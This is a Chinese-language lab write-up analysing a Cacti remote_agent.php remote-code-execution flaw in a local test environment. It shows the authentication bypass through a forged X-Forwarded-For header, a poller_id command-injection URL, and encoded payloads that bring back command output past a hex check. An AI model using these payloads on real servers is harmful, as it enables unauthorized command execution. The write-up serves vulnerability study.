cacti的RCE测试

准备靶场环境

在这里插入图片描述

通过vscode连接Ubuntu后打开文件\var\www\html\remote_agent.php

思路

在这里插入图片描述

审计代码

绕过鉴权函数
在这里插入图片描述

关键漏洞点get_client_addr函数在break2跳出拿到x-forwarded-for值127.0.0.1经过gethostbyaddr转换为主机名localhost

与在数据库查询poller的主机名相同,返回ture,及绕过此鉴权函数

get传递参数用户可控,通过此进入case polldata 语句

在这里插入图片描述

步骤

在这里插入图片描述

通过浏览器url访问
http://192.168.157.135:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

在这里插入图片描述

使用burp suite进行抓包

在这里插入图片描述

在请求中添加X-Forwarded-For: 127.0.0.1

在这里插入图片描述

绕过鉴权函数

进入以下判断语句。在数据库中查询poller
在这里插入图片描述

进入数据库cacti查询发现hostname为localhost,所以若$client_name为localhost则绕过此条件语句
在这里插入图片描述

通过打印获取客户端的值

$client_addr值为127.0.0.1

$client_name值为localhost

所以绕过了此条件语句

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
打印出为localhost,并且与poller中hostname相等

则在条件语句中返回true

则成功绕过鉴权函数remote_client_authorized()
在这里插入图片描述

get传参action

因为action用户可控,通过get接收的参数
在这里插入图片描述

使action=polladta进入poll_for_data()函数
在这里插入图片描述
通过打印poller_id查看命令执行是否被过滤,打印发现默认参数没有被过滤;
在这里插入图片描述
文件创建成功
在这里插入图片描述
执行到此语句,rce结束

php执行了``(反引号)
在这里插入图片描述

但此执行没有回显

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

如何回显

output=fgets(output = fgets(output=fgets(pipes[1], 1024);

只读取一行,所以只要继续读取即可回显

关键函数

function is_hexadecimal($result) {
	$hexstr = str_replace(array(' ', '-'), ':', trim($result));

	$parts = explode(':', $hexstr);
	foreach($parts as $part) {
		if (strlen($part) != 2) {
			return false;
		}
		if (ctype_xdigit($part) == false) {
			return false;
		}
	}

	return true;
}

必须绕过此函数

此函数首先把‘空格’、‘-‘替换为’:‘ ,然后根据’:‘把结果分割为数组,然后判断数组元素的长度是否为2,然后再判断元素是否为16进制,如果都满足,就返回 ture。

命令执行结果要是16进制

没有空格也可以返回true

命令中有‘;’或者‘!’

所以构造命令行

|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`";

对|echo “test\r\n :id | base64 -w0”;urlencod编码

%7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20base64%20-w0%60%22;%20

在这里插入图片描述
解码得到
在这里插入图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐